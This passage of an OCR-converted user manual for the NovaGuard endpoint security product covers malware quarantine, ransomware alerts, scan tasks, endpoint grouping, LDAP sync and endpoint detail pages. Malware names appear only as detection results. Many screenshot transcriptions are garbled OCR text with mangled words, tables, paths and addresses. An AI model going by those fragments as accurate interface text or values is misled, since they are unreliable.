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Fixed:

The Fixed tab displays all infected files that have been quarantined. You can

Remove, Restore, or Ignore the files, as shown below.

Malware | Virus-infected Files ~ Ransomware and Threats

Pending  Fixed

0] Refresh

Identification Status ¥ AgentStatus ¥ Stas ¥ EnvionmeniType <~ FileType ¥ Severty ¥ ThreatType ¥  LastDetected (Al) ¥  Endpoint Name/lP/Owner *

No. Security Event Infected Endpoint Endpoint IP Agent Status Identification R Owner Infected Entity Last Detected Time Fixed Status.

Jser Custom

' GIIw oiner

S localhostlocaldo...  10.74.40.133 @ onine Unidenified mpl01b553202622e66203...  2025-07-10 12:4...  2025-07-18 155..  Quarantines

Select infected files and click Remove to delete quarantined files in bulk, or

click Restore to restore quarantined files in bulk, as shown in the following

figure.
Restore

// i, The selected file will be restored and overwrite the existing one(s) on the
| ! endpoint. Are you sure you want to restore the threat
(Mtmp/01b5532d262ae66a035260e11ddd361¢c) on endpoint

localhost localdomain(10.74 .40.133)?

Trust the restored file

Restore all other endpoint files with the same MD5

You can fix up to 10,000 infected files at a time. To fix all infected files at a time,
check the box in the upper left corner of the list, click Select all on all pages,

and then click Fix, as shown in the following figure.

4.4.1.1.2 Ransomware and Threats

Ransomware: Ransomware attacks include malicious files and suspicious
activities. NovaGuard can detect ransomware files and identify ransomware
attacks by using ForeNova Engine Zero before the ransomware encrypts host

files. This proactive approach ensures early detection and timely prevention.
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Please rename the default super admin account to meet compliance requirements. ~ Settings>
Malware  Virus-Infected Files  Ransomware and Threats
Ransomware  Suspicious Activities
® ®  Refresh Pending
No. | Security Event Infected Endpoint Endpoint IP Agent Status Identification Result = | Owner Infected Entity
1 Victim1-DESKTOP...  172.30.224.47,1... @ Oniine View clusers\administratordesklop
> QE Ransomwar Fie Victim1-DESKTOP...  172.30.22447,1... @ Online Unknown clusersiadministrator desklop

Suspicious activities: Suspicious activities refer to ransomware attacks, such
as ransomware encryption, sending a ransom note, and baiting, identified via
ForeNova Engine Zero. NovaGuard ensures early detection and timely
prevention before the ransomware encrypts host files, as shown in the
following figure.

Please rename the default super admin account to meet compliance requirements. ~ Settings>

Malware Virus-Infected Files Ransomware and Threats

Ransomware  Suspicious Activities

Refresh Fixed

No. ' Security Event Infected Endpoint ~ Endpoint IP | Agent St Owner  Activity Tag Process Encrypted Files @ | Files Fixed
Suspicious Win32 Ransom

' o - Vietim1-DE...  172:30224.. @ Oniine AlBasedBeh . C\Windowslexplorerexe 265 85
Suspicious W

2 qrm R Vietim1-DE...  172.30.224.. @ Oniine Al-BasedBeh . C:\Windows\explorer exe 250 0
Suspicio

3 o Vieim1-DE... 17230224 @ Online Al-BasedBeh . C:Windowslexplorerexe 251 0
Suspicio

g Vieim1-DE...  172.30.224.. @ Oniine Al-BasedBeh.. C:Users\Administrator\D 3 0

The actions to be taken when detecting malicious files are according to the

configurations on the Policies > General Policies > Anti-Malware tab.

4.4.1.2 Tasks

Go to Defense > Malware Scan > Tasks, move the pointer over the Quick

Scan button, and select Quick Scan or Full Scan, as shown below.

Endpoints: You can view the target endpoints of the last seven days, view
endpoints that have not been scanned in the last seven days, 30 days, or 90

days, view the last scanned time of an endpoint, and search for specific
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endpoints by name or IP address as an administrator.

Select X

omponent downloaded are shown. View

Available Target Endpoints {last 7 days) Last scan - End t I Selected

Endpoint Name (IP) Last Scanned Erdot Operation

B All Endpoints 6-edr0156{10.32.36.174)
Ml Local Manager

Ungrouped Endpoints

“ Egireet

CPU Usage: Includes three modes: High CPU, Adaptive, and Low CPU, each

with the following distinct characteristics:

eHigh CPU: Consumes the most CPU resources (<50% when CPU usage
restriction is enabled).

e Adaptive: Dynamically adjusts CPU resources based on the CPU usage. It
optimizes the scan speed by leveraging ample CPU resources when the CPU
usage is low and minimizing resource consumption when the CPU usage is high,
thus ensuring smooth service operations.

eLow CPU: Consumes no more than 10% of CPU resources (<5% when CPU

usage restriction is enabled).

L INoTE

The adaptive mode applies to Windows endpoints only, while an adaptive scanning mode is

designed for Linux endpoints, with a limitation of 30% on CPU usage during virus scans.

In-depth Analysis: Once in-depth analysis for infectious viruses is enabled, the
scan will take 5% longer. It is advised to enable it only when infectious viruses

are on the endpoints. This is only applicable to Windows endpoints.
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Select endpoints and issue virus scan tasks. Then, check the task status of the

endpoints, as shown in the following figure.

1 scan task ongoing...

0 targeted endpoint detected

1509:43:18

@ Scanning. Targeted endpoints detected. 0 is(are) waiting for fix

Cancel )  Collapse ~
I 414 ency n Pau
Task Status -

No Endpoint Owner Group os Agent status Pending/Total Scan Progress Operation
1 DESKTOP-000HDAL(1 Ungrouped ... Windows 10 Sl 64 @ Oniine - Scanning Cancel | View
2 WIN-AE2RTINIE(10. Ungrouped .. Windows Server 20195 @ Online - scanning Cancel | View
3 DESKTOP-02HO9IG(1 Ungrouped ... Windows 10 Sl 64 @ Oniine - Scanning Cancel | View
4 localnost localdomain(1 Ungrouped .. CentoS Linux 7 (Core) ..~ @ Online - scanning Cancel | View

4entries 1 EntiesperPage| 10~

Click View on the right of a specific endpoint and view its scan progress, as

shown in the following figure.

Infected Files on Endpoint (DESKTOP-000HDA4L( ™ «" i« 13)) x

o DESKTOP-00OHDAL (= '8 W' 18) Scanning
-

Task Type: Manual full scan | Scanned Files:0 | Time Taken: 1 mins 27 secs

|

- o (Q Refresh Envirenment Type ~  File Type v severly v TheatType ¥

No. | Infected Entity Virus Time Detected Status Operation

No data available

0 entries 1 Eniries per Page 50 v

Close

After the scan is complete, review the scan results, which include details such
as the task type, CPU usage, number of tasks received by endpoints, scanned
endpoints, paused endpoints, endpoint names and IP addresses, groups,

operating systems, endpoint status, pending/total viruses, and scan progress,
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as shown in the following figure.

Infected Files on Endpoint (WIN-AE2JRTINIQE(*s )

WIN-AE2JRTINIQE(&"™

Infected Entity

c\$recycle binis-1-5-21-3912372338-989.

cusers\iadministratoridesktop\qqq123...

clusersiadministratoridesktopigga\iitle..

c\$recycle binis-1-5-21-3912372338-989.

ciusersiadministratoridesktop\qqq\02b6. .

() Refresh

virus
Ransom.Win32 Krypton.uwzg

Ransomware @I @EIEIEND

Trojan.Win32.CobaltStrike
RECEUN Wedum 1 Execulabie ]

Ransom Win32. Princess.uwzg

Ransomware (@I @ETRIETD

Ransom Win32. TurkHack uwzg

Ransomware @GIIDEETE

Trojan.Linux. CoinMiner.ufqjg
[t Medium ] Executable §

Environment Type -

Time Detected

202507-15 10:07:25

202507-15 10:07:25

2025-07-15 10:07:25

202507-15 10:07:25

2025-07-15 10:07:25

71 enries

) Scan Completed 71 threats are detected,

Task Type: Manual fullscan | Scanned Files: 103070 | Time Taken: 23 mins 48 secs

File Type

Status

Fixed

Fixed

Fixed

Fixed

Fixed

Severity
Operation
[ s -
DR -
DE -
© -
© i -
2 > >

v ThreatType <

Analyze

Analyze

Analyze

Analyze

Analyze

Enlries per Page 50 ¥

Close

Handle the detected infected files by either fixing or trusting them. If the

infected files seem suspicious, click Analyze to access Neural-X Threat

Intelligence for analysis. Then, fix the files based on the analysis result, as

shown in the following figure.

Infected Files on Endpoint (WIN-AE2JRTINIQE(*s )

No.

1

WIN-AE2JRT1NIQE(&™

Infected Entity

c\$recycle binis-1-5-21-3912372338-989.

ciusersiadministratorideskiopiggqV123L...

ciusersiadministrator\desktopiaga\i1tie..

c\$recycle binis-1-5-21-3912372338-989.

Cilusersiadministratorideskiop\ggq\0206....

Q) Refresh

virus
Ransom.Win32 Krypton.uwzg

Ransomware (NI @ETRIETD

Trojan.Win32.CobaliStrike

Tiojen . QUETED GEEETD

Ransom.Win32.Princess. uwzg

Ransomware (NI ETEIETY

Ransom Win32 TurkHack uwzg

Ransomware @I EEEY

Trojan. Linux CoinMiner ufgjg
Cryptomining

Environment Type ¥

Time Detected

2025-07-15 10:07:25

2025.07-15 10:07:25

2025-07-15 10.07:25

2025-07-15 10:07:25

202507-15 10:07:25

71 entries.

¥) Scan Completed 71 threats are detected,

Task Type: Manuai fullscan | Scanned Files: 103070 | Time Taken: 23 mins 48 secs

File Type

Status

Fixed

Fixed

Fixed

Fixed

Fixed

Severity
Operation
[ s -
O -
0 -
[} -
© -
2 > »

v ThreatType <

Analyze

Analyze

Analyze

Analyze

Analyze

Entries per Page 50~

Close
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Click Export to export the virus scan results within a selected period.

=

Scan canceled. 2 targeted endpoint detected

((Re-scan )

@ scan completed. 1 targeted endpoint detected

((Re-scan )

The virus scan results are exported as an Excel file, as shown in the following

figure.
| Malware Scan Task Records
Summary The total number of records matching the query criteria is 4, with 4 records exported currently.
Filter
Time -
Sort by time Descending
Period Export the records of the last 1 task(s) (Note: Only a maximum of 100, 000 records can be exported)
Result
No. | Time Submitted Endpoint Owner Group los |Endpoint Status |Pending/Total Viruses |Scan Progress
1 20250715 09:43:18  |localhost. i Ungrouped Assets | CentOS Linux 7 (Core) |Online 14/14 Scan completed.
2 2025-07-1509:43:18 | WIN-AE2IRTINIQE(10.1 groupl Windows Server 2019 5|Online 0/71 Scan completed.
3 2025-07-1509:43:18 | DESKTOP-O2H99IG(10.7{amy groupl Windows 10 %k/z  |Online 0/0 Scan paused:Task is ¢
4 2025-07-1509:43:18 | DESKTOP-000HDAL(172| Ungrouped Assets | Windows 10 i |Online 0/0 Scan completed.

4.5 Endpoints

The Endpoint page of the NovaGuard manager consists of Endpoint Groups,
Endpoint Inventory, Endpoint Discovery, and Changes, allowing you to

manage endpoints and groups based on policies.

4.5.1 Endpoint Groups

NovaGuard organizes endpoints in a tree structure. On the Endpoint Groups
page, you can create groups, import groups, synchronize the Lightweight

Directory Access Protocol (LDAP) information, allow users to assign groups,

and manage endpoints.
4.5.1.1 Create Groups

Applicable Scenario

In scenarios that involve a few groups, you can create groups manually for

automatic endpoint grouping by endpoint IP range or endpoint name.
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Configuration Guide

Plan business groups and IP addresses in advance, create groups according to
asset attributes, and enable automatic grouping by endpoint IP range or
endpoint name. Then, the endpoints with NovaGuard agent installed will
automatically join the corresponding groups based on their IP addresses or

names when they go online.

To create a group, go to Endpoint > Endpoint Groups and click New. In the
Add Group dialog box, enable Auto Grouping, select Endpoint IP Range or
Endpoint Name for Auto Grouping Rule, and enter IP ranges or keywords, as

shown in the following figure.

Add Group X
Group Name

Added To Group Local Manager

Auto Grouping ‘:)

Auto Grouping Rule (%) Endpoint IP Range Endpaint Name

Endpoints in the following IP ranges will be added to the
selected group
Overlapping of IP addresses, ranges, or subnets is not allowsed

b
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A sample organizational structure of groups is as follows.

Groups New More 1

—| @ All Endpoints
—| B Local Manager
Ungrouped Endpoints

|=| first

[=] second

4.5.1.2 Import Groups

Applicable Scenario

You can import groups using an Excel file if there are many groups.

Configuration Guide

Go to Endpoint > Endpoint Groups and click More > Import. In the Import
dialog box, click Sample File to download the template. Add the group

information to the Excel template and select the template to import all groups.
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Browse

Sampie File

Groups | (®) Retain unchanged and existing objects take higher priority

Retain unchanged but imported objects iaks higher prierity

Clear all groups except Local Manager and Ungrouped and
assign endpoints to different groups according to the new

auto grouping rules

A B C u E 2 G
GroupName  Parent Group " Auto-grouping IP Range " Auto Grouping Rule (Endpoint Name) Tstatus
examplel Local Manager 192.168.0.1-192.168.0.255;192.168.1.1-192.168.1.255 disable
example2 examplel 192.168.2.1;192.167.0.1/16;192.168.4.1/255.255.255.0 enable
example3 example2 keylikey2 enable
exampled example2

4.5.1.3 LDAP Sync

Applicable Scenario

In scenarios where the customer has deployed an AD domain server in the
internal network to which endpoints are connected for unified management,
administrators can enable LDAP synchronization to automatically synchronize

specific OUs and users to NovaGuard for unified user management.

Configuration Guide

Go to System > System > LDAP Sync and configure parameters based on the

configurations in the following figure.
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1. Basics

LDAP Sync

Enable LDAP Sync ‘:)

| Basics
Server Type : MS Active Directory M
Server IP Address : LDAP over TLS ~ @ 172.16.3.1
Authentication Port : 380 @
Timeout () 15
Admin Account : administrator@sangfor.com @

Admin Password :

Base DN DC=sangfor,DC=com Test Connectivity

Basics: Specify the IP address of the AD domain server, the authentication
port, the administrator account username, the administrator account
password, and the Base DN. The administrator account username must be

in the following format: administrator@domain.com.

2. Organizational Sync

| Organizational Sync (@)

OU Fiiter ohjectClass=crganizationalUnit

GUID objectGUID ‘

Group Name name

ou Path DC=sangfor, DC=com ®
v

Group Creation Mode Based on the selected base DN node on a remote server (D)

-:§- Based on the selected node on a remote server ()
Based on the subgroup of the selected node on a remote server (O

Max. Sync OU Depth 16

Organizational Sync: Specify OU paths and a group creation mode and

keep other parameters at their defaults.
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3. User Sync
| User Sync on @D

User Information Filier (/(objectClass=organizationalPerson )(objectClass=persen))
User Property sAMAccountName
Mapping Local Account Property: LDAP Mapping Property.

Phone Number telephoneNumber

mail

User Sync: Map domain user properties to the NovaGuard manager and
keep other parameters at their defaults, as shown in the following figure.

< Endpoeint Details

B DESKTOP-O2H99IG( .. ™= B) @ online

Asset Info Trust

~ Endpoint Details 0s: Windows 10 ZlkE x64
Basi(s Kernel Version: 10.0.19044
Hardware OF Sty © NotActivated
Users Time Installed: 2023-07-20 191238

+  Task Info | Other ’
Software o ay

Listening Ports
9 Display Name: -

Environment Variables
Node: aaa

JAR Files

Asset Number: -

Trusted Certificates
Location: -

Trusted Root CA R .

Phone Number: =

Email Address: 123@sangfor.com

Owner Src: LDAP
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4. Group Sync

| Group Sync Group endpoints according to the structure in the AD domain. a

User Information Filter :

User Property :

Group Sync: Endpoints are automatically grouped on the NovaGuard manager

according to the structure in the AD domain. Automatic grouping is triggered
after you log in to an endpoint with a domain account and trigger LDAP

synchronization.

Trigger LDAP Sync
You can trigger LDAP synchronization manually or at a scheduled time.

1. Manual synchronization

To synchronize the LDAP information manually, go to Endpoints > Endpoint

Groups and click More > LDAP Sync, as shown in the following figure.

Groups New More u
Import
Export

=] @ All Endpoints
Auto Grouping

=] B Local Manaog

- Ungrouped EMURONTE

[+] second

2. Automatic synchronization
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To synchronize LDAP information automatically, enable Auto Sync Setting,
select Every day, Every week, or Every month, and set a specific time, as
shown in the following figure. Then, the NovaGuard manager will automatically

synchronize OU and user information from the LDAP server.

| Auto Sync Setting [ @)
Auto Update Interval : Every day ¥ 03:00 =
Effects

On the Endpoint Groups page of the NovaGuard manager, you can find the

OUs synchronized from the LDAP server, as shown in the following figure.

Groups New More nl

B All Endpoints
=] B Local Manager
Ungrouped Endpoints
—| Domain control synchronizati...
beijing
shanghal

shenzhen

The NovaGuard manager automatically groups endpoints with the NovaGuard
agent installed to the corresponding OUs when you log in to the endpoints

with domain accounts.
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You can view LDAP synchronization details by going to System > Logs >

Operations Logs, as shown in the following figure.

Operations Logs

Sener Type

4.5.1.4 Allow Users to Assign Groups

Applicable Scenario

In multi-branch scenarios without any AD controller, automatic grouping by IP
range is not applicable because IP address conflicts may exist between the
endpoints of different branches. In this case, you can enable endpoint users to

assign groups to their endpoints.

Configuration Guide
Step 1. Create or import groups.

Go to Endpoints > Endpoint Groups > Auto Grouping to disable the

automatic grouping, as shown in the following figure.
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NovaGuard
Endpoint Group

W YINaows Jpaaie
# Vulnerabilities Groups 0 New More
v = : Import
B, Compliance Check

Export

- @ All Assets

Auto Grouping

% Malware Scan -| Bk Local Manage

Ungrouped Endpoints

= Endpoint Groups

g Endpoint Inventory

@ Endpoint Discovery

Step 2. Select Require users to provide asset attributes.

Go to Policies > General Policies > Basic Config, select Require users to
provide asset attributes, and then select Display and Required in the

Department column, as shown in the following figure.

| Asset Attributes ®

Require users to provide asset attributes

item Department Owner Asset Name Phone Number  Email Address Location Asset Number Staff No.
Display

Required

Step 3. Users assign groups to their endpoints.

Users can set organizational information for their endpoints during asset
registration during the first installation of the NovaGuard agent or edit
organizational information after the installation is complete, as shown in the

following figure.
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Security

@ Asset

A Owner
Staff Nao.:

Contact:

Email Address:

A

Location:

Asset Number:

IP Address:

MAC Address:

0s:

Ransomware Protection »

3 Realtime File Protection

Security Engines: §: @ = &

NovaGuard Uptime: 1 days

Q@ e =—X
Scan completed today. Realtime Pro— 50

No pending threats. 7 6 enabled

- .
Scan Now >> gl Quarantine

Blocks: 17 (las

E Trust

Events (Last 30 Days)

J Contact Admin
@ Update

S5 AboutUs =

= Exit

Speed Up & Free Up Space

Dev Environment

¥ Ransomware Honeypot

W) Messages 2025.07.18 14:48:53 Virus-infected files were quarantined.

Quarantine(167) Trust(0) Logs

10.13.1.82

FA-16-3E-8C-16-FA

Windows 10 Pro x64

Edit
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4.5.1.5 Manage Endpoints

On the Endpoint Groups page, you can view endpoint information, move
endpoints to other groups, manage remote endpoints, enable remote support,

send messages, and export endpoints.

View endpoint information:

On the Endpoint Groups page, you can view the basic information of all
endpoints, as shown in the following figure.

All Assets (4 online / 4 in total) New Features

More v Refresh e B
No. | Endpoint Name Endpoint Type | Agent Status Group IPAgdress MACAddress  OS CPU Usage Memory Usage
1 localhost ocald... ~ Server ® Oniine Ungroup, FA-163E-83..  CentOS Linux

- 29.18%
‘ Used/Total 1.1 GB/3,

2 DESKTOP-02.. PG @ onine Ungroup... FA-16-3E-09...  Windows 10%. et o

ESKTOP-00. i 676% =
3 DESKTOP-00... PG @ oniine Ungroup. 00-E04C-A3..  Windows 10 % e
4 WIN-AE2RT1...  Server @ onine Ungroup. FA-16:3E-5D...  Wndows Serv. -

- 36.4%
¢ UsedTotal 29 GB/B ... Us

The page includes columns such as Endpoint, Asset Status, Group, IP
Address, MAC Address, OS, Realtime Protection Status, CPU Usage,
Memory Usage, Asset User, Asset Number, and Location. Administrators

can determine whether to display a column by clicking ... on the right.

You can click the name of an endpoint to go to its details page, as shown in the

following figure.
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< Endpoint Details

B DESKTOP-O2HI9IG( J) @ online

Asset Info Trust

~ Endpoint Details | Basics
Basics Endpaint Name: DESKTOP-O2HI9IG &
Hardware DESKTOP-02H99IG
Users AD Domair

» Task Info IPv4 Address
Software

FA-16-3E-09-3B-11

Listening Ports

Group: Umgrouped Assels
Environment Variables Agent Install Time: 2025-07-11 15:24:35
JAR Files Last Connected: 2025-07-15 10:23:57
Trusted Certificates Last Login: 2025-05-30 09:50°28
Trusted Root CA Last Online User: root

| Database Version

Antivirus D

202507 14020046

I0A Database: 20250626163510

On the Endpoint Details page, you can run Vulnerability Scan, Quick Scan,
and Full scan. You can also Enable, Disable, or Uninstall NovaGuard agent

on the same page.

1. Basics

Basics: Includes information such as Endpoint (editable), Hostname, IPv4
Address, MAC Address, Group, Agent Installation Time, Last Connected,

Last Login, and Last Online User.

System Information: Includes information such as OS, Version, OS Status,

and Time Installed.

Other (editable): Includes information such as Asset User, Node, Asset

Number, Location, Staff No., Phone Number, and Email Address.

Version 02 (Jul. 18, 2025) 167



NovaGuard_V6.0.4R4_User Manual

2. Hardware

Hardware: Includes the models and usage of the CPU, Memory, Hard Disk,
Motherboard, Network adapter, Graphics card, Sound card, and Monitor.

& Endpoint Details

B WIN-AE2JRTINIQE(10.13.1.4) @ online

Asset Info Trust

~ Endpoint Details Hardware
Basics & cru Total Usage: 2.00%
Hardware Model : Intel(R) Core(TM)2 Duo CPU T7700 @ 2.40GHz

Frequency : 2200MHz
Users
+  Task Info
W Memory tal Usage: " 3633% Size BB

Software

Model - SANGFOR
Listening Ports

Database Apps El motherboard
Websites
Model :
Web Frameworks SN
Web Services

@  Network Adapter
Web Apps

Environment Variables Model : Realtek RTLB8139C+ Fast Ethernet NIC (RTLB023x64)

JAR Files
B8 wonitor

DR Doacbannc

3. Users

Users: Includes the endpoint's account information such as Account, Status,
Account Type, Role, Risk Type (you can move the pointer over the
exclamation icon to view the risk details), Password Change, Last Login,

Password Status, and Login History.

& Endpoint Details

B WIN-AE2JRTINIQE( ) ® onine QuickScan | v || EnableAgent v

Assetinfo  Trust

~ Endpoint Details Expot | Refresh
Basics No.  Usemame Status UserType Role Risk Type Last Password Change Last Login Operation
Hardware 1 Administrator Enabled Local User Admin Multiple 1P Addresses 20241207 020131 20250714 200841 Login Histon
Users
2 DefautAccount Disabled Local User Non-admin Wesak or No Password - - Login History
» TaskInfo
3 Guest Disabled Local User Non-admin Inactive User Login History
Software
WDAGUtiityAccount  Disabled Local User Non-admin Inactive User 2024-12.07 01:56:13 - Login History

listoninn Parts
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LONoTE

Click ... on the right to determine whether to display a hidden column.

4. Task Info

Task Info includes information such as Processes, Services, Connections,

Startup Items, Scheduled Tasks, Sharing, and Registry.

5. Software

Software includes information such as Name, Type, Version, Publisher,
Installation Path, and Time Installed. You can filter software by software

name, version, or publisher and export software information.

& Endpoint Details

E WIN-AE2JRTINIQE, }) @ onine QuickScan ¥ EnableAgent v

Assetinfo  Trust

~ Endpoint Details Expot  Refresh
Basics No. SofwareName  Type Version Publisher Usemame Instalation Patn Confg File Path Time Installed Associated Process
Hardware 1 AnenaEPPAgent  AniviusApp 6043302 . - - . - 2025.07-14
Lo 2 Notepad+s (32:bi.. Ofher 845 = = 202412-16
» TasklInfo
Software

ictonina Parte

6. Listening Ports

Listening Ports includes information such as Port, Protocol, IP Address,
Listening Process, Open Port, and Status. You can block or unblock ports,

import port information, and search for ports by protocol or port number.

& Endpoint Details

@ WIN-AE2JRT1NIQE( “) @ online QuickScan v | EnableAgent v

Assetinfo  Trust

~ Endpoint Details Export | Refresh Protocol
Basics No. Port Protocol Open Port Bound IP Listening Process Status
Hardware 1 136 @ 53 Yes 0000 svehost exe(pid: 900) Unblocked
Users 2 w0 ey 0000 System(pic: 4) Unblocked
» Task Info 3 3389 @ top Yes 0000 svehost.exe(pid: 640) Unblocked
Software 4 ses7 o) Yes 0000 system(pia: 4) Unblocked
Listening Ports. 5 5985 tcp Ye: 0000 System(pid: 4) Unblocked
Database Apps 6 47001 53 0000 System(pic: 4) Unblocked
Websites 7 asees 1o Yes 0000 wininitexe(pic: 488) Unblocked
Web Frameworks 8 4%685 o Ye: 0000 Isass.exe(pid: 626) Unblocked
Web Services 9 49666 tcp Yes 0000 svchost exe(pid: 1240) Unblocked
Web Apps 10 4967 1o Yes 0000 Svehost exe(pid: 1764) Unblocked
Environment Variables n 49669 cp Ye: 0000 svchost exe(pid: 2736) Unblocked
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7. Environment Variables

Environment Variables include the environment information of the system
and the currently logged-in user. Some programs use such information to

determine where files (such as temporary files) are to be placed.

& Endpoint Details
B WIN-AE2JRTINIQE, ) ® onine Guick scan EnableAgent | ~
Asset Info Trust
- Endpoint Details Bpot || Refiesn ¥ Q
Basics No.  Variable Name Type Usemame Value
Hardware 1 comspec Sysem varizvee Adminsiator C:Windowsssystemazicmd.exe
Users 2 Omverbata System Variabie Administrator C\Windows\Systema2\Drvers\DriverData
» TaskInfo 3 EPSINSTALLROOT System Variavie Adminsrator cprogram flessneanagent;
Software 4 NUMBER_OF_PROCESSORS System variavee Adminsrator s
Listening Ports s os Sysem varizvee Adminsiator Vindows NT
Database Apps & pan User Variable Administrator CWindowsisystema2\configlsystemprofie\ipp.
Websites 7 Pan System Variable Administrator CWIndows\system32;C-Windows;C:Windows.
Web Frameworks 8 PATHEXT System variavee Adminsrator (COM, EXE, BAT,CMD, VBS; VBE: JS. JSE. W,
Web Services 9 PROCESSOR ARCHITECTURE Sysem varizvee Adminsirator AvDst
Web Apps 10  PROCESSOR_IDENTIFIER System Variabie Administrator Intel6 Family 6 Model 15 Stepping 11, Genuine.
Environment Variables 1 PROCESSOR LEVEL System variavie Administrator 6
JAR Files
EnesperPage (20 +| 19inal < 1 > GoToPage 1

8. JAR Files

Java Archive (JAR) is a platform-independent file format that allows you to
compress multiple files into one. JAR Files shows the JAR files of the endpoint

on the NovaGuard manager.

& Endpoint Deails

& WIN-AE2JRT1NIQE( ) @ onine QuickScan | v | EnableAgent | v

Assetinfo  Trust

osers
Bport || Retresh Q
» Task Info
No.  Package Name Type ExecuableFle  Version Absolte Pah Operation
Software

Listening Ports
Database Apps
Websites.

Web Frameworks
Web Services

Web Apps
Environment Variables
JAR Files

NPM Packages

9. Trusted Certificates
Trusted Certificates displays all trusted files, paths, and processes added by
the endpoint. Administrators can check such information to avoid viruses

caused by improper addition, as shown in the following figure.
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< Endpoint Details

B DESKTOP-5QV5E41(4 87 I\ @ online QuickScan | v | Remote Support Enable Agent v Send Message

Assetinfo  Trust

~  Endpoint Details Export e}
Basics No.  Certificate Name Certiicate Path Issued By Issued To Fingerprint Valid From Valid To
Hardware 1 sangforCA /sangfor CA sangfor CA sangfor CA 30c14075€77118a0ee5 2021-11-15 2037:16 2121-10-22 20:37:16
Users 2 Sangforintermediate CA  /Sangfor Intermediate C. sangfor CA ‘Sangfor Inter. 68a3d6e3efaddcTbedc 20250407 11:58:42 20500401 11:58:42

> Task Info 3 sangfor Technologies Inc.  /Sangfor Technologes | sangfor Techn SangforTechn...  a9062¢5C17211t87ebch 20170427 23:27:19 2117-04-03 23:27:19

Software 4 Sangfor Technologies Inc. Isangfor Technologies | DigiCert Assur. ‘Sangfor Techn. d416881/811607d83d. 2020-03-10 08:00:00 2023-03-22 20:00:00
Listening Ports 5 sangfor Technologies Inc.  /Sangfor Technologies | DigiCert SHA2. ‘Sangfor Techn. 3¢5b9496a58d5da05 e 2020-03-10 08:00:00 20230322 20:00:00

Environment Variables

JAR Files

Trusted Certificates

Trusted Root CA

10. Trusted Root CA

The Trusted Root CA page allows you to view information such as the issuing

authority, Issued To, Fingerprint, and time of Trusted Certificates.

<« Endpoint Details
B DESKTOP-5QV5E41 5) ® onine QuickScan v | RemoleSupport | EnableAgent v Send Message
Asset Info Trust
~  Endpoint Details Export i
Basics No. cA Issued To Fingerprint Valid From Valid To
Hardware 1 AddTrust Extenal CA Root AddTrust External CA 02(af3e291436468607857694d5e. 2000-05-30 16:48:38 2020-05-30 18:48:38
Users 2 Certum Trusted Network CA Certum Trusted Netw. 07€0326020072¢319210628a2593...  2008-10-22 20:07:37 2029-12:31 20:07:37
> TaskInfo 3 Class 3 Public Primary Gertiicatio. Class 3 Public Primar. 742c31926607e424eb45495420e1 1996-01-29 08:00:00 2028.08-02 07:59:59
Soitware 4 Class 3 Public Primary Certiicatio. Class 3 Public Primar. 41655663360D659858105842596C. 1996-01-29 08:00:00 2004.01-08 07:59:59
Listening Ports 5  COMODO RSA Certiication Autho COMODO RSA Gertin afe502442801194230747 9121897 2010.01-19 08:00:00 2038.01-19 07:59:59
Environment Variables 6 ‘Copyright (c) 1997 Microsoft Corp. Copyright (c) 1997 Mi. 245c97df7514e7c2dfBbe72ae957. 1997-05-14 00:12:59 1999-12-31 07:59:59
JAR Files 7 DigiCert Assured ID Root CA Digicert Assured ID R 0563086300627 5abbcsabednd. 2006-11-10 08:00:00 2031-11-10 08:00:00
Trusted Certificates 8 DigiCert Global Root CA DigiCert Global Root CA a8985d3a65e5e5c4b2d7d66d40c6. 2006-11-10 08:00:00 2031-11-10 08:00:00
Trusted Root CA 9 DigiCer Trusted Root G4 DigiCert Trusted Root d0fb16cd4931c97322087081c83ad...  2013-08-01 20:00:00 2038.01-15 20:00:00
10 Globaisign Globalsign 4690561481017 7c54578C10926 2009-03-18 18:00:00 2029.03-18 18:00:00
Entries per 20 <+ 24mal ¢ 1 2 > GoToPage 1

11. Trust

Support viewing Trust policies have been added to the terminal.

« Endpoint Details

B WIN-AE2JRTINIQE(10.13.1.4) @ oniine QuickScan | v | EnableAgent v

Assetinfo  Trust

o || o | oo

Export  Refresn

Object Type Time Trusted
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12. Move endpoints to other groups:
You can click Move To Other Group to move online endpoints to other

groups, as shown in the following figure.

Move to Other Group X

(D Endpoints will inherit security protection policies from the new
endpaint group after movement.

=] Bk Local Manager
Ungrouped Assets

group1

“ e

When Endpoint IP Range is selected as the auto grouping rule, the system

automatically adds a i tag to manually move endpoints to be locked into the

current group and not automatically grouped based on their IP addresses, as

shown in the following figure.

Endpoint Group

New Features

Groups New More Al Assets (4 online  4in total)
More v || Refresn | Support muliple condions m
5 Alassets No. | Endpoint Name Encpoint Type | AgentStatus | Group 1P Address MACAddiess  0S CPUUsage +  Memory Usage
i LocalVanager 1 @oesqoroz. pe ® onine LT FATGIEGO. Windows 0% mmm o SAGTE
Ungrouped Assets 2 5 WINAE2JRTY...  Server ® Onine B groupt FA6.3E.50.. WindowsServ.. o e )
e s ocomestocan.. sener oo g - FAfEE.. CentoS L o T =
4 ) DESKTOP-00...  PC ® Oniine Ungroup... 1 00-E0-4CA3.. Windows 10%.. = (el e
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To recover auto grouping for an endpoint with a fixed group, select the
endpoint and click Enable Auto Grouping, as shown in the following figure.

Endpoint Group

Groups New More All Assets (4 online / 4 in total)

Maove to Other Group . | Enable Agent W

B All Assets B o Endpoint Nz

Agent Status Group
B Local Manager 1 | pESK;  Dsatied Autd Grouping @ Online & grou
Ungrouped Assets 2 g WIN-AE2JRT1 Server @ Online & grou
group1 3 3 localhost locald. Server @ Online Ungroug
4 DESKTOP-00... PC @ Online Ungroug

INoTE

When the agent goes online, it will trigger the auto grouping policy if the following two

prerequisites are met:
1. The auto grouping policy has been configured.

2. The group to which the endpoint belongs is not in a locked status.

Actions such as restarting the endpoint or agent will make the agent go online. Therefore, if
you do not want a specific endpoint to be moved to a different group due to the automatic

grouping policy, please manually move the endpoint to a specific group as described above.

Manage remote endpoints:

You can enable, disable, restart, or uninstall the NovaGuard agent for selected
endpoints, delete endpoints, and send messages to endpoints. You can also
enable or disable Agent Bypass for Windows Server or Linux endpoints, as

shown in the following figure.

All Assets (4 online / 4 in total) New Features

Move 1o Other Group | v Enable Agent ‘ More ¥ Refresn Suppe I m
B No | EndpointName EndpointT, DisabieAgent Group 1P Address MACAddress  OS CPU Usage Memory Usage
T Restart Agent A 159 s P 54.97%
1 DESKTOP-02...  PC & groupt FAIGEELS,  WiINAWSA0 ¢ Used/Total 22 GB/4 .. Us
Ap— Uninstall Agent 2 36.09% -
2 3 WIN-AEZJRT1...  Server & groupt FAMG3E0D. . Widows:Sarv “ Used/Total 29 GBIB .. Us
Delete 27.93%
3 j localnostlocald...  Server Ungroup... FA-16-3E-83..  Cent0S Linux e e e
